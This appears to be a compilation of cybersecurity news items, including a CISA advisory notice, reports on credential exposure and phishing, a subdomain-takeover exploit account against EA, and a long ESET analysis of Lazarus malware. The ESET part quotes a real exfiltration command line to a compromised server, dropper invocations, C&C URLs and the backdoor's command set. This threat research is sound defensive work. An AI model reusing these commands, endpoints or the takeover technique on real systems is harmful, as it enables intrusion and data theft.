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Original release date: February 9, 2023 CISA, the National Security Agency (NSA), the Federal Bureau of Investigation (FBI), the Department of Health and Human Services (HHS), and Republic of Korea’s Defense Security Agency and National Intelligence Service have released a joint Cybersecurity Advisory (CSA), Ransomware Attacks on Critical Infrastructure Fund DPRK Espionage Activities, to provide information on ransomware activity used by North Korean state-sponsored cyber to target various critical infrastructure sectors, especially Healthcare and Public Health (HPH) Sector organizations. The authoring agencies urge network defenders to examine their current cybersecurity posture and apply the recommended mitigations in this joint CSA, which include: - Train users to recognize and report phishing attempts. - Enable and enforce phishing-resistant multifactor authentication. - Install and regularly update antivirus and antimalware software on all hosts. See Ransomware Attacks on Critical Infrastructure Fund DPRK Espionage Activities for ransomware actor’s tactics, techniques, and procedures, indicators of compromise, and recommended mitigations. Additionally, review StopRansomware.gov for more guidance on ransomware protection, detection, and response. For more information on state-sponsored North Korean malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage.
Misconfigured User Identification Tool Reveals Credentials Palo Alto Networks recently released a security advisory for their customers about a new potential threat to their credentials due to the misconfiguration of a certain feature that integrates with PAN’s next-generation firewalls. Rapid 7 discovered and reported on the issue in their blog, R7-2014-16: Palo Alto Networks User-ID Credential Exposure. PAN’s user identification technology, User-ID is a type of administrative logging and reporting tool that helps you better profile users by mapping a user’s identity with their IP address as well as application and authentication activity. While convenient to have this level of visibility for granular logging, reporting and policy control, if misconfigured by an administrator, it can result in the exposure of the credentials of the User-ID’s (typically administrative) account to an external attacker. How? If administrators configure the tool to enable WMI (Windows Management Instrumentation) probing on external or untrusted zones, then an external attacker can trigger a security event on a PAN appliance. That, in effect, triggers communication from the User-ID tool to the attacker’s IP address, which allows an attacker to get the username, domain name and encrypted password hash associated with the User-ID account. WMI probing is a Microsoft feature that collects user information from Windows hosts, and contains a username and encrypted password hash of the account configured with the feature for auth purposes. The feature is used by many networking and network security devices, according to PAN. And unfortunately, it can also be exploited when configured to allow probing and communication with external zones, as can be seen in this situation. Those types of WMI probes/queries are given the names client probing and host probing by PAN, as associated with their User-ID product. PAN defines client probing as a way to actively probe Microsoft Windows clients on your network about logged-in users, letting you identify laptop users that switch between wired and wireless networks. And host probing lets you probe Microsoft Windows servers for all active network sessions of a users, letting you identify a user by their IP address when they access a network shared on an organization’s server. Configuring WMI probing correctly with User-ID can help administrators avoid this potential security problem. A document provided by PAN, Best Practices for Securing User-ID Deployments recommends only enabling User-ID and WMI probing on internal and trusted zones, or, effectively disabling WMI probing if your organization doesn’t plan to use it. The basic takeaway is, if you’re going to use a security device, use it correctly and limit its communication outside your network, or there can be consequences - which should be a given, but sometimes administrators are unaware of the very real and immediate consequences of misconfiguring certain aspects of the powerful tools they use. PAN also recommends changing passwords on any service account used for WMI probing, if User-ID was misconfigured in this way, highlighting the fact that regularly rotating service account passwords is a recommended best practice. Of course, configuring two-factor authentication is another best security practice when it comes to protecting administrator-level accounts, in order to keep attackers from accessing your networks armed only with the credentials of a User-ID account.
Analyzing Offensive and Defensive Networking Tools in a Laboratory Environme Permanent address of the item is Verkon hyökkäys- ja puolustustyökalujen testausta laboratorioympäristössä The safest way of conducting network security testing is to do it in a closed laboratory environment that is isolated from the production network, and whose network configuration can be easily modified according to needs. Such an environment was built to the Department of Pervasive Computing in the fall of 2014 as part of TUTCyberLabs. In addition to the networking hardware, computers and servers, two purchases were made: Ruge, a traffic generator, and Clarified Analyzer, a network security monitor. Open source alternatives were researched for comparison and the chosen tools were Ostinato and Security Onion respectively. A hacking lab exercise was created for Computer Network and Security course employing various tools found in Kali Linux that was installed on the computers. Different attack scenarios were designed for the traffic generators and Kali Linux, and they were then monitored on the network security monitors. Finally a comparison was made between the monitoring applications. In the traffic generator tests, both Ruge and Ostinato were capable of clogging the gigabit network found in the laboratory. Both were also able to cause packet loss in two different network setups rendering the network virtually unusable. Where Ostinato finally lost the comparison was its lack of support for stateful connections, e.g., TCP handshake. In the hacking lab exercise the students’ task was to practice penetration testing against a fictional company. Their mission was to exploit various vulnerabilities and use modules found in Metasploit to get a remote desktop connection on a Windows XP machine hidden behind a firewall, by pivoting their connection through the company’s public web server. Comparing the monitoring applications, it became clear that Clarified Analyzer is focused on providing a broad overview of one’s network, and does not provide any alerts or analysis on the traffic it sees. Security Onion on the other hand lacks the overview, but is able to provide real time alerts via Snort. Both of the applications provide means to export packet capture data to, e.g., Wireshark for further analysis. Because of the network overview it provides, Clarified Analyzer works better against denial of service attacks, whereas Security Onion excels in regard to exploits and intrusions. Thus the best result is achieved when both of these are used simultaneously to monitor one’s network.
Israeli security firms Check Point and CyberInt partnered up this week to find, exploit, and demonstrate a nasty security flaw that allows attackers to hijack player accounts in EA/Origin's online games. The exploit chains together several classic types of attacks—phishing, session hijacking, and cross-site scripting—but the key flaw that makes the entire attack work is poorly maintained DNS. If you have a reasonably good eye for infosec, most of the video speaks for itself. The attacker phishes a victim over WhatsApp into clicking a dodgy link, the victim clicks the shiny and gets owned, and the stolen credentials are used to wreak havoc on the victim's account. What makes this attack different—and considerably more dangerous—is the attacker's possession of a site hosted at a valid, working subdomain of ea.com. Without a real subdomain in their possession, the attack would have required the victim to log in to a fake EA portal to allow the attacker to harvest a password. This would have immensely increased the likelihood of the victim becoming alert to a scam. With the working subdomain, the attacker was able to harvest the authentication token from an existing active EA session before exploiting it directly and in real time. When I spoke to CyberInt's Alex Peleg and Check Point's Oded Vanunu in a conference call today, that was really all I wanted to know—how'd you guys get control of that EA subdomain in the first place? According to the two researchers, it's a pretty common screwup. A big company starts a new marketing campaign, sets up a devops team to do the coding work necessary, and gives the team a new subdomain—like eaplayinvite.ea.com—to run the campaign on. The devops team spins up new instances on AWS, Google Cloud, or a similar provider, then uses a CNAME record to connect the company subdomain to a provider-internal A record at the host. When the marketing campaign is over, the AWS or other cloud instance gets shut down... but nobody tells the team managing the company's main domain to get rid of the CNAME record. That's where things go sideways. An attacker interested in the company can see that it launched a new subdomain and then use the tool dig to see how it's hosted. If the attacker sees that the company has used a CNAME record to redirect to a cloud provider's internal DNS, the next step is to wait for the marketing campaign to complete and the URLs involved in the campaign to stop working. Now we dig the subdomain name again—if the original CNAME is intact, we're in business. Next, the attacker uses an account of their own at the same cloud provider and requests the same provider-internal DNS name originally used by the campaign. At this point, the original CNAME is now pointing to the attacker's website, not one controlled by the actual company. Armed with a working subdomain of the company's real domain, cookies belonging to the company's users can be captured (and embedded!). This makes instant attacks versus victims using that company's services possible. In this case, Alex and Oded opened with a phishing attack over WhatsApp, but a more enterprising attacker might instead have begun with a watering-hole attack. Imagine a serious attacker had bought HTML-enabled ads from a banner farm, specifically targeting EA gamers—their ad might open an invisible iframe to their hijacked subdomain. Such an iframe could automatically harvest any logged-in gamers' auth tokens without any need for interaction from the users at all. Scary possibilities abound. According to Alex and Oded, the kind of oversight made here by EA/Origin is depressingly common in large companies. Devops teams don't talk to infosec teams, neither of them talks to more traditional ops teams that manage core services like company-wide DNS, and mistakes get made. The researchers—and their companies—hope that public demonstrations like this will wake large companies up, break down the silos, and ultimately make end-user accounts less vulnerable to hacking. Listing image by Yosa Buson
updated 01:44 pm EDT, Wed May 1, 2013 Targeted sites narrowed down to Houston IP address The people responsible for a new Apple ID phishing scam have compromised 110 websites, says security firm Trend Micro. All of the sites are hosted on a specific IP address, 184.108.40.206, which is registered with an ISP based in Houston, Texas. "Almost all of these sites have not been cleaned," Trend Micro remarks. The firm notes that the criminals behind the act are targeting not just Americans but also British and French Internet users. Some of the phishing attempts ask not only for an Apple ID, but also other personal information such as billing addresses and credit card numbers. Victims are told that the information is needed to restore access to Apple services, but in truth it's being stolen by unknown parties. The culprits appear to be foreign, as a sample phishing email shows extremely poor grammar. Trend Micro points out that this and inconsistent domains in email addresses and web links should make it easy to spot phishing attempts. In some countries, Apple's two-step verification for account changes should prevent Apple IDs from being hijacked.
Attackers who gain initial access to a victim's network now have another method of expanding their reach: using access tokens from other Microsoft Teams users to impersonate those employees and exploit their trust. That's according to security firm Vectra, which stated in an advisory on Sept. 13 that Microsoft Teams stores authentication tokens unencrypted, allowing any user to access the secrets file without the need for special permissions. According to the firm, an attacker with local or remote system access can steal the credentials for any currently online users and impersonate them, even when they are offline, and impersonate the user through any associated feature, such as Skype, and bypass multifactor authentication (MFA). The weakness gives attackers the ability to move through a company’s network much more easily, says Connor Peoples, security architect at Vectra, a San Jose, Calif.-based cybersecurity firm. "This enables multiple forms of attacks including data tampering, spear-phishing, identity compromise, and could lead to business interruption with the right social engineering applied to the access," he says, noting that attackers can "tamper with legitimate communications within an organization by selectively destroying, exfiltrating, or engaging in targeted phishing attacks." Vectra discovered the issue when the company's researchers examined Microsoft Teams on behalf of a client, looking for ways to delete users who are inactive, an action that Teams does not typically allow. Instead, the researchers found that a file that stored access tokens in cleartext, which gave them the ability to connect to Skype and Outlook through their APIs. Because Microsoft Teams brings together a variety of services — including those applications, SharePoint and others — that the software requires tokens to gain access, Vectra stated in the advisory. With the tokens, an attacker can not only gain access to any service as a currently online user, but also bypass MFA because the existence of a valid token typically means the user has provided a second factor. In the end, the attack does not require special permissions or advanced malware to grant attackers enough access to cause internal difficulties for a targeted company, the advisory stated. "With enough compromised machines, attackers can orchestrate communications within an organization," the company stated in the advisory. "Assuming full control of critical seats — like a company’s head of engineering, CEO, or CFO — attackers can convince users to perform tasks damaging to the organization. How do you practice phish testing for this?" Microsoft: No Patch Necessary Microsoft acknowledged the issues but said the fact that the attacker needs to have already compromised a system on the target network reduced the threat posed, and opted not to patch. "The technique described does not meet our bar for immediate servicing as it requires an attacker to first gain access to a target network," a Microsoft spokesperson said in a statement sent to Dark Reading. "We appreciate Vectra Protect's partnership in identifying and responsibly disclosing this issue and will consider addressing in a future product release." In 2019, the Open Web Application Security Project (OWASP) released a top 10 list of API security issues. The current issue could be considered either Broken User Authentication or a Security Misconfiguration, the second and seventh ranked issues on the list. "I view this vulnerability as another means for lateral movement primarily — essentially another avenue for a Mimikatz-type tool," says John Bambenek, principal threat hunter at Netenrich, a security operations and analytics service provider. "Microsoft is making a strong effort to move toward Progressive Web Apps, which would mitigate many of the concerns currently brought by Electron," he says. "Rather than rearchitect the Electron app, my assumption is they are devoting more resources into the future state." Vectra recommends the companies use the browser-based version of Microsoft Teams, which has enough security controls to prevent exploitation of the issues. Customers who need to use the desktop application should "watch key application files for access by any processes other than the official Teams application," Vectra stated in the advisory.
#Ransomware #attacks #ransom #requests #million – ROME, AUGUST 11 – In 2021 the highest request for ransom for a ransomware attack was 50 million dollars, compared to 30 million dollars last year. The payments made, on the other hand, are on average around $ 570,000, with an increase of 82% compared to the previous year which in turn had seen an increase of 171% compared to 2019. These are the data provided by the research team Unit 42 of Palo Alto Networks. One of the best-known attacks hit the computer company Kaseya, which was initially asked for the equivalent of $ 70 million in Bitcoin, which then dropped to $ 50 million; the latest confirmed payment for a ransomware attack was $ 11 million from JBS Foods for the REvil group. According to security experts, prices have risen because cybercriminals have begun to exploit the system of double extortion, (‘double extortion’): for victims it is not only about recovering the encrypted data but also to prevent it from being disclosed to the public. The aim is to put as much pressure on the victims as possible to get them to pay. And these, explains Palo Alto Networks, are not only large multinationals but also smaller companies that may not have invested much in cybersecurity. (HANDLE).
ESET researchers have discovered Lazarus attacks against targets in the Netherlands and Belgium that use spearphishing emails connected to fake job offers ESET researchers uncovered and analyzed a set of malicious tools that were used by the infamous Lazarus APT group in attacks during the autumn of 2021. The campaign started with spearphishing emails containing malicious Amazon-themed documents and targeted an employee of an aerospace company in the Netherlands, and a political journalist in Belgium. The primary goal of the attackers was data exfiltration. Lazarus (also known as HIDDEN COBRA) has been active since at least 2009. It is responsible for high-profile incidents such as both the Sony Pictures Entertainment hack and tens-of-millions-of-dollar cyberheists in 2016, the WannaCryptor (aka WannaCry) outbreak in 2017, and a long history of disruptive attacks against South Korean public and critical infrastructure since at least 2011. - The Lazarus campaign targeted an employee of an aerospace company in the Netherlands, and a political journalist in Belgium. - The most notable tool used in this campaign represents the first recorded abuse of the CVE‑2021‑21551 vulnerability. This vulnerability affects Dell DBUtil drivers; Dell provided a security update in May 2021. - This tool, in combination with the vulnerability, disables the monitoring of all security solutions on compromised machines. It uses techniques against Windows kernel mechanisms that have never been observed in malware before. - Lazarus also used in this campaign their fully featured HTTP(S) backdoor known as BLINDINGCAN. - The complexity of the attack indicates that Lazarus consists of a large team that is systematically organized and well prepared. Both targets were presented with job offers – the employee in the Netherlands received an attachment via LinkedIn Messaging, and the person in Belgium received a document via email. Attacks started after these documents were opened. The attackers deployed several malicious tools on each system, including droppers, loaders, fully featured HTTP(S) backdoors, HTTP(S) uploaders and downloaders. The commonality between the droppers was that they are trojanized open-source projects that decrypt the embedded payload using modern block ciphers with long keys passed as command line arguments. In many cases, malicious files are DLL components that were side-loaded by legitimate EXEs, but from an unusual location in the file system. The most notable tool delivered by the attackers was a user-mode module that gained the ability to read and write kernel memory due to the CVE-2021-21551 vulnerability in a legitimate Dell driver. This is the first ever recorded abuse of this vulnerability in the wild. The attackers then used their kernel memory write access to disable seven mechanisms the Windows operating system offers to monitor its actions, like registry, file system, process creation, event tracing etc., basically blinding security solutions in a very generic and robust way. In this blogpost, we explain the context of the campaign and provide a detailed technical analysis of all the components. This research was presented at this year’s Virus Bulletin conference. Because of the originality, the main focus of the presentation is on the malicious component used in this attack that uses the Bring Your Own Vulnerable Driver (BYOVD) technique and leverages the aforementioned CVE-2021-21551 vulnerability. Detailed information is available in the white paper Lazarus & BYOVD: Evil to the Windows core. We attribute these attacks to Lazarus with high confidence, based on the specific modules, the code-signing certificate, and the intrusion approach in common with previous Lazarus campaigns like Operation In(ter)ception and Operation DreamJob. The diversity, number, and eccentricity in implementation of Lazarus campaigns define this group, as well as that it performs all three pillars of cybercriminal activities: cyberespionage, cybersabotage, and pursuit of financial gain. ESET researchers discovered two new attacks: one against personnel of a media outlet in Belgium and one against an employee of an aerospace company in the Netherlands. In the Netherlands, the attack affected a Windows 10 computer connected to the corporate network, where an employee was contacted via LinkedIn Messaging about a supposed potential new job, resulting in an email with a document attachment being sent. We contacted the security practitioner of the affected company, who was able to share the malicious document with us. The Word file Amzon_Netherlands.docx sent to the target is merely an outline document with an Amazon logo (see Figure 1). When opened, the remote template https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=<var>_DO.PROJ (where <var> is a seven-digit number) is fetched. We were unable to acquire the content, but we assume that it may have contained a job offer for the Amazon space program, Project Kuiper. This is a method that Lazarus practiced in the Operation In(ter)ception and Operation DreamJob campaigns targeting aerospace and defense industries. Within hours, several malicious tools were delivered to the system, including droppers, loaders, fully featured HTTP(S) backdoors, HTTP(S) uploaders and HTTP(S) downloaders; see the Toolset section. Regarding the attack in Belgium, the employee of a journalism company (whose email address was publicly available on the company’s website) was contacted via an email message with the lure AWS_EMEA_Legal_.docx attached. Since we didn’t obtain the document, we know only its name, which suggests it might have been making a job offer in a legal position. After opening the document, the attack was triggered, but stopped by ESET products immediately, with just one malicious executable involved. The interesting aspect here is that, at that time, this binary was validly signed with a code-signing certificate. We attribute both attacks to the Lazarus group with a high level of confidence. This is based on the following factors, which show relationships to other Lazarus campaigns: - Malware (the intrusion set): - The HTTPS backdoor (SHA‑1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) has strong similarities with the BLINDINGCAN backdoor, reported by CISA (US-CERT), and attributed to HIDDEN COBRA, which is their codename for Lazarus. - The HTTP(S) uploader has strong similarities with the tool C:\ProgramData\IBM\~DF234.TMP mentioned in the report by HvS Consulting, Section 2.10 Exfiltration. - The full file path and name, %ALLUSERSPROFILE%\Adobe\Adobe.tmp, is identical to the one reported by Kaspersky in February 2021 in a white paper about Lazarus’s Operation ThreatNeedle, which targets the defense industry. - The code-signing certificate, which was issued to the US company “A” MEDICAL OFFICE, PLLC and used to sign one of the droppers, was also reported in the campaign against security researchers; see also Lazarus group: 2 TOY GUYS campaign, ESET Threat report 2021 T1, Page 11. - An unusual type of encryption was leveraged in the tools of this Lazarus campaign: HC-128. Other less prevalent ciphers used by Lazarus in the past: a Spritz variant of RC4 in the watering hole attacks against Polish and Mexican banks; later Lazarus used a modified RC4 in Operation In(ter)ception; a modified A5/1 stream cipher was used in WIZVERA VeraPort supply-chain attack. - For the first-level C&C server, the attackers do not use their own servers, but hack existing ones instead. This is a typical, yet weak-confidence behavior of Lazarus. One of the typical traits of Lazarus is its delivery of the final payload in the form of a sequence of two or three stages. It starts with a dropper – usually a trojanized open-source application – that decrypts the embedded payload with a modern block cipher like AES-128 (which is not unusual for Lazarus, e.g., Operation Bookcodes, or an obfuscated XOR, after parsing the command line arguments for a strong key. Despite the embedded payload not being dropped onto the file system but loaded directly into memory and executed, we denote such malware as a dropper. Malware that doesn’t have an encrypted buffer, but that loads a payload from a filesystem, we denote as a loader. The droppers may (Table 1) or may not (Table 2) be side-loaded by a legitimate (Microsoft) process. In the first case here, the legitimate application is at an unusual location and the malicious component bears the name of the corresponding DLL that is among the application’s imports. For example, the malicious DLL coloui.dll is side-loaded by a legitimate system application Color Control Panel (colorcpl.exe), both located at C:\ProgramData\PTC\. However, the usual location for this legitimate application is %WINDOWS%\System32\. In all cases, at least one command line argument is passed during runtime that serves as an external parameter required to decrypt the embedded payload. Various decryption algorithms are used; see the last column in Table 1 and Table 2. In several cases when AES-128 is used, there’s also an internal, hardcoded parameter together with the name of the parent process and its DLL name, all required for successful decryption. Table 1. Malicious DLLs side-loaded by a legitimate process from an unusual location \|Location folder\|\|Legitimate parent process\|\|Malicious side-loaded DLL\|\|Trojanized project\|\|External parameter\|\|Decryption algorithm\| \|C:\ProgramData\PTC\\|\|colorcpl.exe\|\|colorui.dll\|\|libcrypto of LibreSSL 2.6.5\|\|BE93E050D9C0EAEB1F0E6AE13C1595B5 \|C:\Windows\Vss\\|\|WFS.exe\|\|credui.dll\|\|GOnpp v184.108.40.206 (Notepad++ plug‑in)\|\|A39T8kcfkXymmAcq (Loads the intermediate loader) \|C:\Windows\security\\|\|WFS.exe\|\|credui.dll\|\|FingerText 0.56.1 (Notepad++ plug‑in)\|\|N/A\|\|AES-128\| \|C:\ProgramData\Caphyon\\|\|wsmprovhost.exe\|\|mi.dll\|\|lecui 1.0.0 alpha 10\|\|N/A\|\|AES-128\| \|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\|\|SMSvcHost.exe\|\|cryptsp.dll\|\|lecui 1.0.0 alpha 10\|\|N/A\|\|AES-128\| Table 2. Other malware involved in the attack \|Location folder\|\|Malware\|\|Trojanized project\|\|External parameter\|\|Decryption algorithm\| (Loads the HTTP(S) downloader) (Loads the HTTP(S) updater) After successful decryption, the buffer is checked for the proper PE format and execution is passed to it. This procedure can be found in most of the droppers and loaders. The beginning of it can be seen in Figure 2. HTTP(S) backdoor: BLINDINGCAN We identified a fully featured HTTP(S) backdoor – a RAT known as BLINDINGCAN – used in the attack. This payload’s dropper was executed as %ALLUSERSPROFILE%\PTC\colorui.dll; see Table 1 for details. The payload is extracted and decrypted using a simple XOR but with a long key, which is a string built by concatenating the name of the parent process, is own filename, and the external command line parameter – here COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5. The payload, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, is a 64-bit VMProtect-ed DLL. A connection is made to one of the remote locations https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Within the virtualized code we pivoted via the following very specific RTTI artifacts found in the executable: [email protected]@, [email protected]@. Moreover, there’s a similarity on the code level, as the indices of the commands start with the same value, 8201; see Figure 3. This helped us to identify this RAT as BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), reported for the first time by CISA. The recent version of this payload was observed in another Amazon-themed campaign, where BLINDINGCAN was dropped by a trojanized Putty-0.77 client: see Mandiant’s blog. Based on the number of command codes that are available to the operator, it is likely that a server-side controller is available where the operator can control and explore compromised systems. Actions made within this controller probably result in the corresponding command IDs and their parameters being sent to the RAT running on the target’s system. The list of command codes is in Table 3 and agrees with the analysis done by JPCERT/CC, Appendix C. There are no validation checks of parameters like folder or filenames. That means all the checks have to be implemented on the server side, which suggests that the server-side controller is a complex application, very likely with a user-friendly GUI. Table 3. The RAT’s commands \|8201\|\|Send system information like computer name, Windows version, and the code page.\| \|8208\|\|Get the attributes of all files in mapped RDP folders (\\tsclient\C etc.).\| \|8209\|\|Recursively get the attributes of local files.\| \|8210\|\|Execute a command in the console, store the output to a temporary file, and upload it.\| \|8211\|\|Zip files in a temporary folder and upload them.\| \|8212\|\|Download a file and update its time information.\| \|8214\|\|Create a new process in the console and collect the output.\| \|8215\|\|Create a new process in the security context of the user represented by the specified token and collect the output.\| \|8217\|\|Recursively create a process tree list.\| \|8224\|\|Terminate a process.\| \|8225\|\|Delete a file securely.\| \|8226\|\|Enable nonblocking I/O via TCP socket (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) with the FIONBIO control code).\| \|8227\|\|Set the current directory for the current process.\| \|8231\|\|Update the time information of the selected file.\| \|8241\|\|Send the current configuration to the C&C server.\| \|8242\|\|Update the configuration.\| \|8243\|\|Recursively list the directory structure.\| \|8244\|\|Get type and free disk space of a drive.\| \|8249\|\|Continue with the next command.\| \|8256\|\|Request another command from the C&C server.\| \|8262\|\|Rewrite a file without changing its last write time.\| \|8264\|\|Copy a file to another destination.\| \|8265\|\|Move a file to another destination.\| \|8272\|\|Delete a file.\| \|8278\|\|Take a screenshot.\| Now we describe a three-stage chain where, unfortunately, we were able to identify only the first two steps: a dropper and an intermediate loader. The first stage is a dropper located at C:\Windows\Vss\credui.dll and was run via a legitimate – but vulnerable to DLL search-order hijacking – application with the (external) parameter C:\Windows\Vss\WFS.exe A39T8kcfkXymmAcq. The program WFS.exe is a copy of the Windows Fax and Scan application, but its standard location is %WINDOWS%\System32\. The dropper is a trojanized GOnpp plug-in for Notepad++, written in the Go programming language. After the decryption, the dropper checks whether the buffer is a valid 64-bit executable and then, if so, loads it into memory, so that the second stage is ready for execution. The goal of this intermediate stage is to load an additional payload in memory and execute it. It performs this task in two steps. It first reads and decrypts the configuration file C:\windows\System32\wlansvc.cpl, which is not, as its extension might suggest, an (encrypted) executable, but a data file containing chunks of 14944 bytes with configuration. We didn’t have the particular data from the current attack; however, we obtained such configuration from another Lazarus attack: see Figure 5.The configuration is expected to start with a double word representing the total size of the remaining buffer (see Line 69 in Figure 4 below and the variable u32TotalSize), followed by an array of 14944 byte-long structures containing at least two values: the name of the loading DLL as a placeholder for identifying the rest of the configuration (at the offset 168 of Line 74 in Figure 4 and the highlighted member in Figure 5). The second step is the action of reading, decrypting, and loading this file that represents very likely the third and final stage. It is expected to be a 64-bit executable and is loaded into the memory the same way the first-stage dropper handled the intermediate loader. At the start of execution, a mutex is created as a concatenation of the string Global\AppCompatCacheObject and the CRC32 checksum of its DLL name (credui.dll) represented as a signed integer. The value should equal Global\AppCompatCacheObject-1387282152 if wlansvc.cpl exists and -1387282152 otherwise. An interesting fact is the use of this decryption algorithm (Figure 4, Line 43 & 68), which is not that prevalent in the Lazarus toolset nor malware in general. The constants 0xB7E15163 and 0x61C88647 (which is -0x9E3779B9; see Figure 6, Line 29 & 35) in the key expansion suggests that it’s either the RC5 or RC6 algorithm. By checking the main decryption loop of the algorithm, one identifies that it’s the more complex of the two, RC6. An example of a sophisticated threat using such uncommon encryption is Equations Group’s BananaUsurper; see Kaspersky’s report from 2016. A downloader using the HTTP(S) protocols was delivered onto the target’s system as well. It was installed by a first stage dropper (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), which is a trojanized libpcre-8.44 library. It was executed by the command cmd.exe /c start /b rundll32.exe C:\PublicCache\msdxm.ocx,sCtrl 93E41C6E20911B9B36BC (the parameter is an XOR key for extracting the embedded payload; see Table 2). The dropper also achieves persistence by creating the OneNoteTray.LNK file located in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup folder. The second stage is a 32-bit VMProtect-ed module that makes an HTTP connection request to a C&C server stored in its configuration; see Figure 7. It uses the same User Agent – Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 – as BLINDINGCAN RAT, contains the RTTI artifact [email protected]@ but not [email protected]@, and lacks features like taking screenshots, archiving files, or executing a command via the command line. It is able to load an executable to a newly allocated memory block and pass code execution to it. This Lazarus tool is responsible for data exfiltration, by using the HTTP or HTTPS protocols. It is delivered in two stages as well. The initial dropper is a trojanized sqlite-3.31.1 library. Lazarus samples usually don’t contain a PDB path, but this loader has one, W:\Develop\Tool\HttpUploader\HttpPOST\Pro\_BIN\RUNDLL\64\sqlite3.pdb, which also suggests its functionality immediately – a HTTP Uploader. The dropper expects multiple command line parameters: one of them is a password required to decrypt and load the embedded payload; the rest of parameters are passed to the payload. We didn’t catch the parameters, but luckily an in-the-wild use of this tool was observed in a forensic investigation by HvS Consulting: C:\ProgramData\IBM\~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:\ProgramData\IBM\restore0031.dat data03 10000 -p 192.168.1.240 8080 The first parameter, S0RMM-50QQE-F65DN-DCPYN-5QEQA, worked as a key for the decryption routine of the dropper (to be more precise, an obfuscation was performed first, where the encrypted buffer was XOR-ed with its copy shifted by one byte; then an XOR decryption with the key followed). The rest of the parameters are stored in a structure and passed to the second stage. For the explanation of their meanings, see Table 4. Table 4. Command line parameters for the HTTP(S) updater \|1\|\|S0RMM-50QQE-F65DN-DCPYN-5QEQA\|\|A 29-byte decryption key.\| \|2\|\|https://<…>\|\|C&C for data exfiltration.\| \|3\|\|C:\ProgramData\IBM\restore0031.dat\|\|The name of a local RAR volume.\| \|4\|\|data03\|\|The name of the archive on the server side.\| \|5\|\|10,000\|\|The size of a RAR split (max 200,000 kB).\| \|6\|\|N/A\|\|Starting index of a split.\| \|7\|\|N/A\|\|Ending index of a split.\| \|8\|\|-p 192.168.1.240 8080\|\|A switch -p\| \|9\|\|Proxy IP address\| The second stage is the HTTP uploader itself. The only parameter for this stage is a structure containing the C&C server for the exfiltration, the filename of a local RAR archive, the root name of a RAR archive on the server-side, the total size of a RAR split in kilobytes, an optional range of split indices, and an optional -p switch with the internal proxy IP and a port; see Table 4. For example, if the RAR archive is split into 88 chunks, each 10,000 kB large, then the uploader would submit these splits and store them on the server side under names data03.000000.avi, data03.000001.avi, …, data03.000087.avi. See Figure 8, Line 42 where these strings are formatted. The User-Agent is the same as for BLINDINGCAN and the HTTP(S) downloader, Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36. We identified a dynamically linked library with the internal name FudModule.dll that tries to disable various Windows monitoring features. It does so by modifying kernel variables and removing kernel callbacks, which is possible because the module acquires the ability to write in the kernel by leveraging the BYOVD techniques – the specific CVE-2021-21551 vulnerability in the Dell driver dbutil_2_3.sys. The full analysis of this malware is available as a VB2022 paper Lazarus & BYOVD: evil to the Windows core. Additional droppers and loaders were discovered in the attacks, but we didn’t obtain the necessary parameters to decrypt the embedded payloads or encrypted files. A project lecui by Alec Musafa served the attackers as a code base for trojanization of two additional loaders. By their filenames, they were disguised as Microsoft libraries mi.dll (Management Infrastructure) and cryptsp.dll (Cryptographic Service Provider API), respectively, and this was due to the intended side-loading by the legitimate applications wsmprovhost.exe and SMSvcHost.exe, respectively; see Table 1. The main purpose of these loaders is to read and decrypt executables located in alternate data streams (ADS) at C:\ProgramData\Caphyon\mi.dll:Zone.Identifier and C:\Program Files\Windows Media Player\Skins\DarkMode.wmz:Zone.Identifier, respectively. Since we haven’t acquired these files, it’s not known which payload is hidden there; however, the only certainty is that it’s an executable, since the loading process follows the decryption (see Figure 2). The use of ADS is not new, because Ahnlab reported a Lazarus attack against South Korean companies in June 2021 involving such techniques. ESET blocked an additional trojanized open-source application, FingerText 0.5.61 by erinata, located at %WINDIR%\security\credui.dll. The correct command line parameters are not known. As in some of the previous cases, three parameters were required for the AES-128 decryption of the embedded payload: the parent process’s name, WFS.exe; the internal parameter, mg89h7MsC5Da4ANi; and the missing external parameter. The attack against a target in Belgium was blocked early in its deployment chain so only one file was identified, a 32-bit dropper located at C:\PublicCache\msdxm.ocx. It is an sslSniffer component from the wolfSSL project that has been trojanized. At the time of the attack, it was validly signed with a certificate issued to “A” MEDICAL OFFICE, PLLC (see Figure 8), which has since expired. It has two malicious exports that the legitimate DLL doesn’t have: SetOfficeCertInit and SetOfficeCert. Both exports require exactly two parameters. The purpose of the first export is to establish persistence by creating OfficeSync.LNK, located in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup, pointing to the malicious DLL and running its second export via rundll32.exe with the parameters passed to itself. The second export, SetOfficeCert, uses the first parameter as a key to decrypt the embedded payload, but we couldn’t extract it, because the key is not known to us. The decryption algorithm is also interesting as the attackers use HC-128 with the 128-bit key as the first parameter and for its 128-bit initialization vector, the string ffffffffffffffff. The constants revealing the cipher are displayed in Figure 10. In this attack, as well as in many others attributed to Lazarus, we saw that many tools were distributed even on a single targeted endpoint in a network of interest. Without a doubt, the team behind the attack is quite large, systematically organized, and well prepared. For the first time in the wild, the attackers were able to leverage CVE-2021-21551 for turning off the monitoring of all security solutions. It was not just done in kernel space, but also in a robust way, using a series of little- or undocumented Windows internals. Undoubtedly this required deep research, development, and testing skills. From the defenders’ point of view, it seems easier to limit the possibilities of initial access than to block the robust toolset that would be installed after determined attackers gain a foothold in the system. As in many cases in the past, an employee falling prey to the attackers’ lure was the initial point of failure here. In sensitive networks, companies should insist that employees not pursue their personal agendas, like job hunting, on devices belonging to their company’s infrastructure. ESET Research now also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. A comprehensive list of Indicators of Compromise 